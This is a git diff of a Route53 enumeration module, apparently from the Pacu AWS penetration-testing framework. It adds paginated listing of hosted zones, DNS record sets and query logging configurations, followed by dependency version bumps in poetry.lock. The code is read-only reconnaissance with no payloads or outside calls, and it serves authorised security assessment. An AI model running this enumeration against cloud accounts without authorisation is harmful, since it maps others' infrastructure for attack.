-1,54 +1,49 @@ #!/usr/bin/env python3 import argparse from botocore.exceptions import ClientError -import json module_info = { # Name of the module (should be the same as the filename). - 'name': 'route53__enum', - + "name": "route53__enum", # Name and any other notes about the author. - 'author': 'Aaron Rea - Scalesec', - + "author": "Aaron Rea - Scalesec", # Category of the module. Make sure the name matches an existing category. - 'category': 'ENUM', - + "category": "ENUM", # One liner description of the module functionality. This shows up when a # user searches for modules. - 'one_liner': 'Enumerates Route53 hosted zones and query logging configurations', - + "one_liner": "Enumerates Route53 hosted zones and query logging configurations", # Full description about what the module does and how it works. - 'description': 'This module enumerates Route53 hosted zones across an account and correlates them with query logging configs for later use.', - + "description": "This module enumerates Route53 hosted zones across an account and correlates them with query logging configs for later use.", # A list of AWS services that the module utilizes during its execution. - 'services': ['Route53'], - + "services": ["Route53"], # For prerequisite modules, try and see if any existing modules return the # data that is required for your module before writing that code yourself; # that way, session data can stay separated and modular. - 'prerequisite_modules': [], - + "prerequisite_modules": [], # External resources that the module depends on. Valid options are either # a GitHub URL (must end in .git), or a single file URL. - 'external_dependencies': [], - + "external_dependencies": [], # Module arguments to autocomplete when the user hits tab. - 'arguments_to_autocomplete': ['--get_query_logging_config'], + "arguments_to_autocomplete": ["--get_query_logging_config"], } -parser = argparse.ArgumentParser(add_help=False, description=module_info['description']) +parser = argparse.ArgumentParser(add_help=False, description=module_info["description"]) def get_hosted_zones(client): - hosted_zones = client.list_hosted_zones()['HostedZones'] - + hosted_zones = [] + paginator = client.get_paginator("list_hosted_zones") + for hosted_zone in paginator.paginate(): + hosted_zones += hosted_zone["HostedZones"] zones = {} if len(hosted_zones) > 0: for zone in hosted_zones: - zid = zone['Id'].split('/')[2] - print(f"ZoneID: {zid} Name: {zone['Name']} Private: {zone['Config']['PrivateZone']} ") + zid = zone["Id"].split("/")[2] + print( + f"ZoneID: {zid} Name: {zone['Name']} Private: {zone['Config']['PrivateZone']} " + ) zones[zid] = zone else: print("No HostedZones found") @@ -56,24 +51,47 @@ def get_hosted_zones(client): return zones +def get_resource_record_sets_for_zone_id(client, hosted_zone_id): + record_sets = {} + all_records_for_zone = [] + paginator = client.get_paginator("list_resource_record_sets") + for resource_records in paginator.paginate(HostedZoneId=hosted_zone_id): + all_records_for_zone += resource_records["ResourceRecordSets"] + record_sets[hosted_zone_id] = {"ResourceRecordSets": all_records_for_zone} + if len(record_sets[hosted_zone_id]) > 0: + print(f"ResourceRecordSets for {hosted_zone_id}:") + for record in record_sets[hosted_zone_id]["ResourceRecordSets"]: + print(f"Name: {record['Name']} Type: {record['Type']}") + else: + print("No ResourceRecordSets found") + + return record_sets + + def get_query_logging_config(client): - configs = client.list_query_logging_configs()['QueryLoggingConfigs'] + configs = client.list_query_logging_configs()["QueryLoggingConfigs"] if len(configs) > 0: print("QueryLoggingConfigs:") for con in configs: - print(f"ZoneID: {con['HostedZoneId']} :: CloudWatchLogsLogGroupArn: {con['CloudWatchLogsLogGroupArn']}") + print( + f"ZoneID: {con['HostedZoneId']} :: CloudWatchLogsLogGroupArn: {con['CloudWatchLogsLogGroupArn']}" + ) else: print("No QueryLoggingConfigs found") return configs -def zones_plus_config(zones, configs): +def zones_plus_config_and_records(zones, configs, records): for con in configs: - if con['HostedZoneId'] in zones.keys(): - zones[con['HostedZoneId']].update({'CloudWatchLogsLogGroupArn': con['CloudWatchLogsLogGroupArn']}) - zones[con['HostedZoneId']].update({'QueryLoggingConfigId': con['Id']}) + if con["HostedZoneId"] in zones.keys(): + zones[con["HostedZoneId"]].update( + {"CloudWatchLogsLogGroupArn": con["CloudWatchLogsLogGroupArn"]} + ) + zones[con["HostedZoneId"]].update({"QueryLoggingConfigId": con["Id"]}) + for zone_id in records.keys(): + zones[zone_id].update(records[zone_id]) return zones @@ -84,25 +102,36 @@ def main(args, pacu_main): args = parser.parse_args(args) try: - client = pacu_main.get_boto3_client('route53') + client = pacu_main.get_boto3_client("route53") except ClientError as error: - print(f'Failed to initialize boto client for route53: {error}') + print(f"Failed to initialize boto client for route53: {error}") data = {} try: zones = get_hosted_zones(client=client) except ClientError as error: - print(f'Failed to list R53 Hosted Zones: {error}') + print(f"Failed to list R53 Hosted Zones: {error}") return try: confs = get_query_logging_config(client=client) except ClientError as error: - print(f'Failed to list R53 Hosted Zone Query Logging Configurations: {error}') + print(f"Failed to list R53 Hosted Zone Query Logging Configurations: {error}") return - data = zones_plus_config(zones=zones, configs=confs) + records = {} + for hosted_zone_id in zones.keys(): + try: + records_for_zone = get_resource_record_sets_for_zone_id( + client=client, hosted_zone_id=hosted_zone_id + ) + except ClientError as error: + print(f"Failed to list R53 Resource Record Sets: {error}") + continue + records.update(records_for_zone) + + data = zones_plus_config_and_records(zones=zones, configs=confs, records=records) session.update(pacu_main.database, Route53=data) @@ -111,6 +140,10 @@ def main(args, pacu_main): def summary(data, pacu_main): if len(data) > 0: - return f"Found {len(data)} hosted zones:\n{json.dumps(data, indent=2)}" + hosted_zone_count = len(data) + total_records = 0 + for zone_id in data.keys(): + total_records += data[zone_id]["ResourceRecordSetCount"] + return f"Found {hosted_zone_count} hosted zones.\nFound {total_records} resource records." else: - return 'No hosted zones found.' + return "No hosted zones found." diff --git a/poetry.lock b/poetry.lock index 8a11d23d..44a3bd33 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.5.1 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.6.1 and should not be changed by hand. [[package]] name = "ansicon" @@ -13,13 +13,12 @@ files = [ [[package]] name = "atomicwrites" -version = "1.4.0" +version = "1.4.1" description = "Atomic file writes." optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" files = [ - {file = "atomicwrites-1.4.0-py2.py3-none-any.whl", hash = "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197"}, - {file = "atomicwrites-1.4.0.tar.gz", hash = "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a"}, + {file = "atomicwrites-1.4.1.tar.gz", hash = "sha256:81b2c9071a49367a7f770170e5eec8cb66567cfbbc8c73d20ce5ca4a8d71cf11"}, ] [[package]] @@ -41,449 +40,496 @@ tests-no-zope = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (> [[package]] name = "awscli" -version = "1.20.13" +version = "1.29.51" description = "Universal Command Line Environment for AWS." optional = false -python-versions = ">= 3.6" +python-versions = ">= 3.7" files = [ - {file = "awscli-1.20.13-py3-none-any.whl", hash = "sha256:1039ab7ac6051297162ce96cbff4fd5dfc4d3a9c9796a856aeab0f460806d118"}, - {file = "awscli-1.20.13.tar.gz", hash = "sha256:a9a580916b6934f6bcc0356184bf802eb573374b532da2d6a01c4a2129e214cc"}, + {file = "awscli-1.29.51-py3-none-any.whl", hash = "sha256:1d43d0e221ecfb6e1dd5aa7c9bd0c78481b7b57572091097a91815db54ac5985"}, + {file = "awscli-1.29.51.tar.gz", hash = "sha256:1a15af82500da24e3a77e111b6d48ae2e358d6fbfc3564f15ac6f6688e6c4031"}, ] [package.dependencies] -botocore = "1.21.13" -colorama = ">=0.2.5,<0.4.4" -docutils = ">=0.10,<0.16" -PyYAML = ">=3.10,<5.5" +botocore = "1.31.51" +colorama = ">=0.2.5,<0.4.5" +docutils = ">=0.10,<0.17" +PyYAML = ">=3.10,<6.1" rsa = ">=3.1.2,<4.8" -s3transfer = ">=0.5.0,<0.6.0" +s3transfer = ">=0.6.0,<0.7.0" [[package]] name = "blessed" -version = "1.17.6" +version = "1.20.0" description = "Easy, practical library for making terminal apps, by providing an elegant, well-documented interface to Colors, Keyboard input, and screen Positioning capabilities." optional = false -python-versions = "*" +python-versions = ">=2.7" files = [ - {file = "blessed-1.17.6-py2.py3-none-any.whl", hash = "sha256:8371d69ac55558e4b1591964873d6721136e9ea17a730aeb3add7d27761b134b"}, - {file = "blessed-1.17.6.tar.gz", hash = "sha256:a9a774fc6eda05248735b0d86e866d640ca2fef26038878f7e4d23f7749a1e40"}, + {file = "blessed-1.20.0-py2.py3-none-any.whl", hash = "sha256:0c542922586a265e699188e52d5f5ac5ec0dd517e5a1041d90d2bbf23f906058"}, + {file = "blessed-1.20.0.tar.gz", hash = "sha256:2cdd67f8746e048f00df47a2880f4d6acbcdb399031b604e34ba8f71d5787680"}, ] [package.dependencies] -jinxed = {version = ">=0.5.4", markers = "platform_system == \"Windows\""} +jinxed = {version = ">=1.1.0", markers = "platform_system == \"Windows\""} six = ">=1.9.0" wcwidth = ">=0.1.4" [[package]] name = "boto3" -version = "1.18.13" +version = "1.28.51" description = "The AWS SDK for Python" optional = false -python-versions = ">= 3.6" +python-versions = ">= 3.7" files = [ - {file = "boto3-1.18.13-py3-none-any.whl", hash = "sha256:bd6524c4ac854eb1fa31ab7040d405385f11231b84988b2a5c8e9896a3da0bf1"}, - {file = "boto3-1.18.13.tar.gz", hash = "sha256:8c3676239a35eba465e7df2df58ca400219729d4b732b7202f18caf0308ececa"}, + {file = "boto3-1.28.51-py3-none-any.whl", hash = "sha256:8149f17587c68e556743018f213f00ece81a0f021adb9b9b697a2ee8802583d7"}, + {file = "boto3-1.28.51.tar.gz", hash = "sha256:8860ab54a26d1d596d64fc9de7e40c4d7c53c100311208cbd90d9272c3385513"}, ] [package.dependencies] -botocore = ">=1.21.13,<1.22.0" -jmespath = ">=0.7.1,<1.0.0" -s3transfer = ">=0.5.0,<0.6.0" +botocore = ">=1.31.51,<1.32.0" +jmespath = ">=0.7.1,<2.0.0" +s3transfer = ">=0.6.0,<0.7.0" [package.extras] crt = ["botocore[crt] (>=1.21.0,<2.0a0)"] [[package]] name = "boto3-stubs" -version = "1.18.13" -description = "Type annotations for boto3 1.18.13, generated by mypy-boto3-builder 5.1.0" +version = "1.21.23.post1" +description = "Type annotations for boto3 1.21.23 generated with mypy-boto3-builder 7.4.0" optional = false python-versions = ">=3.6" files = [ - {file = "boto3-stubs-1.18.13.tar.gz", hash = "sha256:8c3f6fe8f40564dbdca6a86316372f59ade668526ad99c52fd0cadb148f334cb"}, - {file = "boto3_stubs-1.18.13-py3-none-any.whl", hash = "sha256:1dcdb88e561b775b898e163797400c186e7647ee80014a10861a073f94ad1fea"}, + {file = "boto3-stubs-1.21.23.post1.tar.gz", hash = "sha256:c97cac698c00829ac3e29c0b258e9ff15bff4d8de83abcfdf9c73cca81620a01"}, + {file = "boto3_stubs-1.21.23.post1-py3-none-any.whl", hash = "sha256:b94f78512e0dfa3ae08bc71d55cc7d48254efb34b9f803b6903d8444cf3f4275"}, ] [package.dependencies] botocore-stubs = "*" -mypy-boto3-iam = {version = ">=1.18.8", optional = true, markers = "extra == \"iam\""} -mypy-boto3-lambda = {version = ">=1.18.8", optional = true, markers = "extra == \"lambda\""} -mypy-boto3-s3 = {version = ">=1.18.8", optional = true, markers = "extra == \"s3\""} -typing-extensions = {version = "*", markers = "python_version < \"3.8\""} +mypy-boto3-iam = {version = ">=1.21.0", optional = true, markers = "extra == \"iam\""} +mypy-boto3-lambda = {version = ">=1.21.0", optional = true, markers = "extra == \"lambda\""} +mypy-boto3-s3 = {version = ">=1.21.0", optional = true, markers = "extra == \"s3\""} +typing-extensions = "*" [package.extras] -accessanalyzer = ["mypy-boto3-accessanalyzer (>=1.18.8)"] -acm = ["mypy-boto3-acm (>=1.18.8)"] -acm-pca = ["mypy-boto3-acm-pca (>=1.18.8)"] -alexaforbusiness = ["mypy-boto3-alexaforbusiness (>=1.18.8)"] -all = ["mypy-boto3-accessanalyzer (>=1.18.8)", "mypy-boto3-acm (>=1.18.8)", "mypy-boto3-acm-pca (>=1.18.8)", "mypy-boto3-alexaforbusiness (>=1.18.8)", "mypy-boto3-amp (>=1.18.8)", "mypy-boto3-amplify (>=1.18.8)", "mypy-boto3-amplifybackend (>=1.18.8)", "mypy-boto3-apigateway (>=1.18.8)", "mypy-boto3-apigatewaymanagementapi (>=1.18.8)", "mypy-boto3-apigatewayv2 (>=1.18.8)", "mypy-boto3-appconfig (>=1.18.8)", "mypy-boto3-appflow (>=1.18.8)", "mypy-boto3-appintegrations (>=1.18.8)", "mypy-boto3-application-autoscaling (>=1.18.8)", "mypy-boto3-application-insights (>=1.18.8)", "mypy-boto3-applicationcostprofiler (>=1.18.8)", "mypy-boto3-appmesh (>=1.18.8)", "mypy-boto3-apprunner (>=1.18.8)", "mypy-boto3-appstream (>=1.18.8)", "mypy-boto3-appsync (>=1.18.8)", "mypy-boto3-athena (>=1.18.8)", "mypy-boto3-auditmanager (>=1.18.8)", "mypy-boto3-autoscaling (>=1.18.8)", "mypy-boto3-autoscaling-plans (>=1.18.8)", "mypy-boto3-backup (>=1.18.8)", "mypy-boto3-batch (>=1.18.8)", "mypy-boto3-braket (>=1.18.8)", "mypy-boto3-budgets (>=1.18.8)", "mypy-boto3-ce (>=1.18.8)", "mypy-boto3-chime (>=1.18.8)", "mypy-boto3-cloud9 (>=1.18.8)", "mypy-boto3-clouddirectory (>=1.18.8)", "mypy-boto3-cloudformation (>=1.18.8)", "mypy-boto3-cloudfront (>=1.18.8)", "mypy-boto3-cloudhsm (>=1.18.8)", "mypy-boto3-cloudhsmv2 (>=1.18.8)", "mypy-boto3-cloudsearch (>=1.18.8)", "mypy-boto3-cloudsearchdomain (>=1.18.8)", "mypy-boto3-cloudtrail (>=1.18.8)", "mypy-boto3-cloudwatch (>=1.18.8)", "mypy-boto3-codeartifact (>=1.18.8)", "mypy-boto3-codebuild (>=1.18.8)", "mypy-boto3-codecommit (>=1.18.8)", "mypy-boto3-codedeploy (>=1.18.8)", "mypy-boto3-codeguru-reviewer (>=1.18.8)", "mypy-boto3-codeguruprofiler (>=1.18.8)", "mypy-boto3-codepipeline (>=1.18.8)", "mypy-boto3-codestar (>=1.18.8)", "mypy-boto3-codestar-connections (>=1.18.8)", "mypy-boto3-codestar-notifications (>=1.18.8)", "mypy-boto3-cognito-identity (>=1.18.8)", "mypy-boto3-cognito-idp (>=1.18.8)", "mypy-boto3-cognito-sync (>=1.18.8)", "mypy-boto3-comprehend (>=1.18.8)", "mypy-boto3-comprehendmedical (>=1.18.8)", "mypy-boto3-compute-optimizer (>=1.18.8)", "mypy-boto3-config (>=1.18.8)", "mypy-boto3-connect (>=1.18.8)", "mypy-boto3-connect-contact-lens (>=1.18.8)", "mypy-boto3-connectparticipant (>=1.18.8)", "mypy-boto3-cur (>=1.18.8)", "mypy-boto3-customer-profiles (>=1.18.8)", "mypy-boto3-databrew (>=1.18.8)", "mypy-boto3-dataexchange (>=1.18.8)", "mypy-boto3-datapipeline (>=1.18.8)", "mypy-boto3-datasync (>=1.18.8)", "mypy-boto3-dax (>=1.18.8)", "mypy-boto3-detective (>=1.18.8)", "mypy-boto3-devicefarm (>=1.18.8)", "mypy-boto3-devops-guru (>=1.18.8)", "mypy-boto3-directconnect (>=1.18.8)", "mypy-boto3-discovery (>=1.18.8)", "mypy-boto3-dlm (>=1.18.8)", "mypy-boto3-dms (>=1.18.8)", "mypy-boto3-docdb (>=1.18.8)", "mypy-boto3-ds (>=1.18.8)", "mypy-boto3-dynamodb (>=1.18.8)", "mypy-boto3-dynamodbstreams (>=1.18.8)", "mypy-boto3-ebs (>=1.18.8)", "mypy-boto3-ec2 (>=1.18.8)", "mypy-boto3-ec2-instance-connect (>=1.18.8)", "mypy-boto3-ecr (>=1.18.8)", "mypy-boto3-ecr-public (>=1.18.8)", "mypy-boto3-ecs (>=1.18.8)", "mypy-boto3-efs (>=1.18.8)", "mypy-boto3-eks (>=1.18.8)", "mypy-boto3-elastic-inference (>=1.18.8)", "mypy-boto3-elasticache (>=1.18.8)", "mypy-boto3-elasticbeanstalk (>=1.18.8)", "mypy-boto3-elastictranscoder (>=1.18.8)", "mypy-boto3-elb (>=1.18.8)", "mypy-boto3-elbv2 (>=1.18.8)", "mypy-boto3-emr (>=1.18.8)", "mypy-boto3-emr-containers (>=1.18.8)", "mypy-boto3-es (>=1.18.8)", "mypy-boto3-events (>=1.18.8)", "mypy-boto3-finspace (>=1.18.8)", "mypy-boto3-finspace-data (>=1.18.8)", "mypy-boto3-firehose (>=1.18.8)", "mypy-boto3-fis (>=1.18.8)", "mypy-boto3-fms (>=1.18.8)", "mypy-boto3-forecast (>=1.18.8)", "mypy-boto3-forecastquery (>=1.18.8)", "mypy-boto3-frauddetector (>=1.18.8)", "mypy-boto3-fsx (>=1.18.8)", "mypy-boto3-gamelift (>=1.18.8)", "mypy-boto3-glacier (>=1.18.8)", "mypy-boto3-globalaccelerator (>=1.18.8)", "mypy-boto3-glue (>=1.18.8)", "mypy-boto3-greengrass (>=1.18.8)", "mypy-boto3-greengrassv2 (>=1.18.8)", "mypy-boto3-groundstation (>=1.18.8)", "mypy-boto3-guardduty (>=1.18.8)", "mypy-boto3-health (>=1.18.8)", "mypy-boto3-healthlake (>=1.18.8)", "mypy-boto3-honeycode (>=1.18.8)", "mypy-boto3-iam (>=1.18.8)", "mypy-boto3-identitystore (>=1.18.8)", "mypy-boto3-imagebuilder (>=1.18.8)", "mypy-boto3-importexport (>=1.18.8)", "mypy-boto3-inspector (>=1.18.8)", "mypy-boto3-iot (>=1.18.8)", "mypy-boto3-iot-data (>=1.18.8)", "mypy-boto3-iot-jobs-data (>=1.18.8)", "mypy-boto3-iot1click-devices (>=1.18.8)", "mypy-boto3-iot1click-projects (>=1.18.8)", "mypy-boto3-iotanalytics (>=1.18.8)", "mypy-boto3-iotdeviceadvisor (>=1.18.8)", "mypy-boto3-iotevents (>=1.18.8)", "mypy-boto3-iotevents-data (>=1.18.8)", "mypy-boto3-iotfleethub (>=1.18.8)", "mypy-boto3-iotsecuretunneling (>=1.18.8)", "mypy-boto3-iotsitewise (>=1.18.8)", "mypy-boto3-iotthingsgraph (>=1.18.8)", "mypy-boto3-iotwireless (>=1.18.8)", "mypy-boto3-ivs (>=1.18.8)", "mypy-boto3-kafka (>=1.18.8)", "mypy-boto3-kendra (>=1.18.8)", "mypy-boto3-kinesis (>=1.18.8)", "mypy-boto3-kinesis-video-archived-media (>=1.18.8)", "mypy-boto3-kinesis-video-media (>=1.18.8)", "mypy-boto3-kinesis-video-signaling (>=1.18.8)", "mypy-boto3-kinesisanalytics (>=1.18.8)", "mypy-boto3-kinesisanalyticsv2 (>=1.18.8)", "mypy-boto3-kinesisvideo (>=1.18.8)", "mypy-boto3-kms (>=1.18.8)", "mypy-boto3-lakeformation (>=1.18.8)", "mypy-boto3-lambda (>=1.18.8)", "mypy-boto3-lex-models (>=1.18.8)", "mypy-boto3-lex-runtime (>=1.18.8)", "mypy-boto3-lexv2-models (>=1.18.8)", "mypy-boto3-lexv2-runtime (>=1.18.8)", "mypy-boto3-license-manager (>=1.18.8)", "mypy-boto3-lightsail (>=1.18.8)", "mypy-boto3-location (>=1.18.8)", "mypy-boto3-logs (>=1.18.8)", "mypy-boto3-lookoutequipment (>=1.18.8)", "mypy-boto3-lookoutmetrics (>=1.18.8)", "mypy-boto3-lookoutvision (>=1.18.8)", "mypy-boto3-machinelearning (>=1.18.8)", "mypy-boto3-macie (>=1.18.8)", "mypy-boto3-macie2 (>=1.18.8)", "mypy-boto3-managedblockchain (>=1.18.8)", "mypy-boto3-marketplace-catalog (>=1.18.8)", "mypy-boto3-marketplace-entitlement (>=1.18.8)", "mypy-boto3-marketplacecommerceanalytics (>=1.18.8)", "mypy-boto3-mediaconnect (>=1.18.8)", "mypy-boto3-mediaconvert (>=1.18.8)", "mypy-boto3-medialive (>=1.18.8)", "mypy-boto3-mediapackage (>=1.18.8)", "mypy-boto3-mediapackage-vod (>=1.18.8)", "mypy-boto3-mediastore (>=1.18.8)", "mypy-boto3-mediastore-data (>=1.18.8)", "mypy-boto3-mediatailor (>=1.18.8)", "mypy-boto3-meteringmarketplace (>=1.18.8)", "mypy-boto3-mgh (>=1.18.8)", "mypy-boto3-mgn (>=1.18.8)", "mypy-boto3-migrationhub-config (>=1.18.8)", "mypy-boto3-mobile (>=1.18.8)", "mypy-boto3-mq (>=1.18.8)", "mypy-boto3-mturk (>=1.18.8)", "mypy-boto3-mwaa (>=1.18.8)", "mypy-boto3-neptune (>=1.18.8)", "mypy-boto3-network-firewall (>=1.18.8)", "mypy-boto3-networkmanager (>=1.18.8)", "mypy-boto3-nimble (>=1.18.8)", "mypy-boto3-opsworks (>=1.18.8)", "mypy-boto3-opsworkscm (>=1.18.8)", "mypy-boto3-organizations (>=1.18.8)", "mypy-boto3-outposts (>=1.18.8)", "mypy-boto3-personalize (>=1.18.8)", "mypy-boto3-personalize-events (>=1.18.8)", "mypy-boto3-personalize-runtime (>=1.18.8)", "mypy-boto3-pi (>=1.18.8)", "mypy-boto3-pinpoint (>=1.18.8)", "mypy-boto3-pinpoint-email (>=1.18.8)", "mypy-boto3-pinpoint-sms-voice (>=1.18.8)", "mypy-boto3-polly (>=1.18.8)", "mypy-boto3-pricing (>=1.18.8)", "mypy-boto3-proton (>=1.18.8)", "mypy-boto3-qldb (>=1.18.8)", "mypy-boto3-qldb-session (>=1.18.8)", "mypy-boto3-quicksight (>=1.18.8)", "mypy-boto3-ram (>=1.18.8)", "mypy-boto3-rds (>=1.18.8)", "mypy-boto3-rds-data (>=1.18.8)", "mypy-boto3-redshift (>=1.18.8)", "mypy-boto3-redshift-data (>=1.18.8)", "mypy-boto3-rekognition (>=1.18.8)", "mypy-boto3-resource-groups (>=1.18.8)", "mypy-boto3-resourcegroupstaggingapi (>=1.18.8)", "mypy-boto3-robomaker (>=1.18.8)", "mypy-boto3-route53 (>=1.18.8)", "mypy-boto3-route53-recovery-cluster (>=1.18.8)", "mypy-boto3-route53-recovery-control-config (>=1.18.8)", "mypy-boto3-route53-recovery-readiness (>=1.18.8)", "mypy-boto3-route53domains (>=1.18.8)", "mypy-boto3-route53resolver (>=1.18.8)", "mypy-boto3-s3 (>=1.18.8)", "mypy-boto3-s3control (>=1.18.8)", "mypy-boto3-s3outposts (>=1.18.8)", "mypy-boto3-sagemaker (>=1.18.8)", "mypy-boto3-sagemaker-a2i-runtime (>=1.18.8)", "mypy-boto3-sagemaker-edge (>=1.18.8)", "mypy-boto3-sagemaker-featurestore-runtime (>=1.18.8)", "mypy-boto3-sagemaker-runtime (>=1.18.8)", "mypy-boto3-savingsplans (>=1.18.8)", "mypy-boto3-schemas (>=1.18.8)", "mypy-boto3-sdb (>=1.18.8)", "mypy-boto3-secretsmanager (>=1.18.8)", "mypy-boto3-securityhub (>=1.18.8)", "mypy-boto3-serverlessrepo (>=1.18.8)", "mypy-boto3-service-quotas (>=1.18.8)", "mypy-boto3-servicecatalog (>=1.18.8)", "mypy-boto3-servicecatalog-appregistry (>=1.18.8)", "mypy-boto3-servicediscovery (>=1.18.8)", "mypy-boto3-ses (>=1.18.8)", "mypy-boto3-sesv2 (>=1.18.8)", "mypy-boto3-shield (>=1.18.8)", "mypy-boto3-signer (>=1.18.8)", "mypy-boto3-sms (>=1.18.8)", "mypy-boto3-sms-voice (>=1.18.8)", "mypy-boto3-snowball (>=1.18.8)", "mypy-boto3-sns (>=1.18.8)", "mypy-boto3-sqs (>=1.18.8)", "mypy-boto3-ssm (>=1.18.8)", "mypy-boto3-ssm-contacts (>=1.18.8)", "mypy-boto3-ssm-incidents (>=1.18.8)", "mypy-boto3-sso (>=1.18.8)", "mypy-boto3-sso-admin (>=1.18.8)", "mypy-boto3-sso-oidc (>=1.18.8)", "mypy-boto3-stepfunctions (>=1.18.8)", "mypy-boto3-storagegateway (>=1.18.8)", "mypy-boto3-sts (>=1.18.8)", "mypy-boto3-support (>=1.18.8)", "mypy-boto3-swf (>=1.18.8)", "mypy-boto3-synthetics (>=1.18.8)", "mypy-boto3-textract (>=1.18.8)", "mypy-boto3-timestream-query (>=1.18.8)", "mypy-boto3-timestream-write (>=1.18.8)", "mypy-boto3-transcribe (>=1.18.8)", "mypy-boto3-transfer (>=1.18.8)", "mypy-boto3-translate (>=1.18.8)", "mypy-boto3-waf (>=1.18.8)", "mypy-boto3-waf-regional (>=1.18.8)", "mypy-boto3-wafv2 (>=1.18.8)", "mypy-boto3-wellarchitected (>=1.18.8)", "mypy-boto3-workdocs (>=1.18.8)", "mypy-boto3-worklink (>=1.18.8)", "mypy-boto3-workmail (>=1.18.8)", "mypy-boto3-workmailmessageflow (>=1.18.8)", "mypy-boto3-workspaces (>=1.18.8)", "mypy-boto3-xray (>=1.18.8)"] -amp = ["mypy-boto3-amp (>=1.18.8)"] -amplify = ["mypy-boto3-amplify (>=1.18.8)"] -amplifybackend = ["mypy-boto3-amplifybackend (>=1.18.8)"] -apigateway = ["mypy-boto3-apigateway (>=1.18.8)"] -apigatewaymanagementapi = ["mypy-boto3-apigatewaymanagementapi (>=1.18.8)"] -apigatewayv2 = ["mypy-boto3-apigatewayv2 (>=1.18.8)"] -appconfig = ["mypy-boto3-appconfig (>=1.18.8)"] -appflow = ["mypy-boto3-appflow (>=1.18.8)"] -appintegrations = ["mypy-boto3-appintegrations (>=1.18.8)"] -application-autoscaling = ["mypy-boto3-application-autoscaling (>=1.18.8)"] -application-insights = ["mypy-boto3-application-insights (>=1.18.8)"] -applicationcostprofiler = ["mypy-boto3-applicationcostprofiler (>=1.18.8)"] -appmesh = ["mypy-boto3-appmesh (>=1.18.8)"] -apprunner = ["mypy-boto3-apprunner (>=1.18.8)"] -appstream = ["mypy-boto3-appstream (>=1.18.8)"] -appsync = ["mypy-boto3-appsync (>=1.18.8)"] -athena = ["mypy-boto3-athena (>=1.18.8)"] -auditmanager = ["mypy-boto3-auditmanager (>=1.18.8)"] -autoscaling = ["mypy-boto3-autoscaling (>=1.18.8)"] -autoscaling-plans = ["mypy-boto3-autoscaling-plans (>=1.18.8)"] -backup = ["mypy-boto3-backup (>=1.18.8)"] -batch = ["mypy-boto3-batch (>=1.18.8)"] -braket = ["mypy-boto3-braket (>=1.18.8)"] -budgets = ["mypy-boto3-budgets (>=1.18.8)"] -ce = ["mypy-boto3-ce (>=1.18.8)"] -chime = ["mypy-boto3-chime (>=1.18.8)"] -cloud9 = ["mypy-boto3-cloud9 (>=1.18.8)"] -clouddirectory = ["mypy-boto3-clouddirectory (>=1.18.8)"] -cloudformation = ["mypy-boto3-cloudformation (>=1.18.8)"] -cloudfront = ["mypy-boto3-cloudfront (>=1.18.8)"] -cloudhsm = ["mypy-boto3-cloudhsm (>=1.18.8)"] -cloudhsmv2 = ["mypy-boto3-cloudhsmv2 (>=1.18.8)"] -cloudsearch = ["mypy-boto3-cloudsearch (>=1.18.8)"] -cloudsearchdomain = ["mypy-boto3-cloudsearchdomain (>=1.18.8)"] -cloudtrail = ["mypy-boto3-cloudtrail (>=1.18.8)"] -cloudwatch = ["mypy-boto3-cloudwatch (>=1.18.8)"] -codeartifact = ["mypy-boto3-codeartifact (>=1.18.8)"] -codebuild = ["mypy-boto3-codebuild (>=1.18.8)"] -codecommit = ["mypy-boto3-codecommit (>=1.18.8)"] -codedeploy = ["mypy-boto3-codedeploy (>=1.18.8)"] -codeguru-reviewer = ["mypy-boto3-codeguru-reviewer (>=1.18.8)"] -codeguruprofiler = ["mypy-boto3-codeguruprofiler (>=1.18.8)"] -codepipeline = ["mypy-boto3-codepipeline (>=1.18.8)"] -codestar = ["mypy-boto3-codestar (>=1.18.8)"] -codestar-connections = ["mypy-boto3-codestar-connections (>=1.18.8)"] -codestar-notifications = ["mypy-boto3-codestar-notifications (>=1.18.8)"] -cognito-identity = ["mypy-boto3-cognito-identity (>=1.18.8)"] -cognito-idp = ["mypy-boto3-cognito-idp (>=1.18.8)"] -cognito-sync = ["mypy-boto3-cognito-sync (>=1.18.8)"] -comprehend = ["mypy-boto3-comprehend (>=1.18.8)"] -comprehendmedical = ["mypy-boto3-comprehendmedical (>=1.18.8)"] -compute-optimizer = ["mypy-boto3-compute-optimizer (>=1.18.8)"] -config = ["mypy-boto3-config (>=1.18.8)"] -connect = ["mypy-boto3-connect (>=1.18.8)"] -connect-contact-lens = ["mypy-boto3-connect-contact-lens (>=1.18.8)"] -connectparticipant = ["mypy-boto3-connectparticipant (>=1.18.8)"] -cur = ["mypy-boto3-cur (>=1.18.8)"] -customer-profiles = ["mypy-boto3-customer-profiles (>=1.18.8)"] -databrew = ["mypy-boto3-databrew (>=1.18.8)"] -dataexchange = ["mypy-boto3-dataexchange (>=1.18.8)"] -datapipeline = ["mypy-boto3-datapipeline (>=1.18.8)"] -datasync = ["mypy-boto3-datasync (>=1.18.8)"] -dax = ["mypy-boto3-dax (>=1.18.8)"] -detective = ["mypy-boto3-detective (>=1.18.8)"] -devicefarm = ["mypy-boto3-devicefarm (>=1.18.8)"] -devops-guru = ["mypy-boto3-devops-guru (>=1.18.8)"] -directconnect = ["mypy-boto3-directconnect (>=1.18.8)"] -discovery = ["mypy-boto3-discovery (>=1.18.8)"] -dlm = ["mypy-boto3-dlm (>=1.18.8)"] -dms = ["mypy-boto3-dms (>=1.18.8)"] -docdb = ["mypy-boto3-docdb (>=1.18.8)"] -ds = ["mypy-boto3-ds (>=1.18.8)"] -dynamodb = ["mypy-boto3-dynamodb (>=1.18.8)"] -dynamodbstreams = ["mypy-boto3-dynamodbstreams (>=1.18.8)"] -ebs = ["mypy-boto3-ebs (>=1.18.8)"] -ec2 = ["mypy-boto3-ec2 (>=1.18.8)"] -ec2-instance-connect = ["mypy-boto3-ec2-instance-connect (>=1.18.8)"] -ecr = ["mypy-boto3-ecr (>=1.18.8)"] -ecr-public = ["mypy-boto3-ecr-public (>=1.18.8)"] -ecs = ["mypy-boto3-ecs (>=1.18.8)"] -efs = ["mypy-boto3-efs (>=1.18.8)"] -eks = ["mypy-boto3-eks (>=1.18.8)"] -elastic-inference = 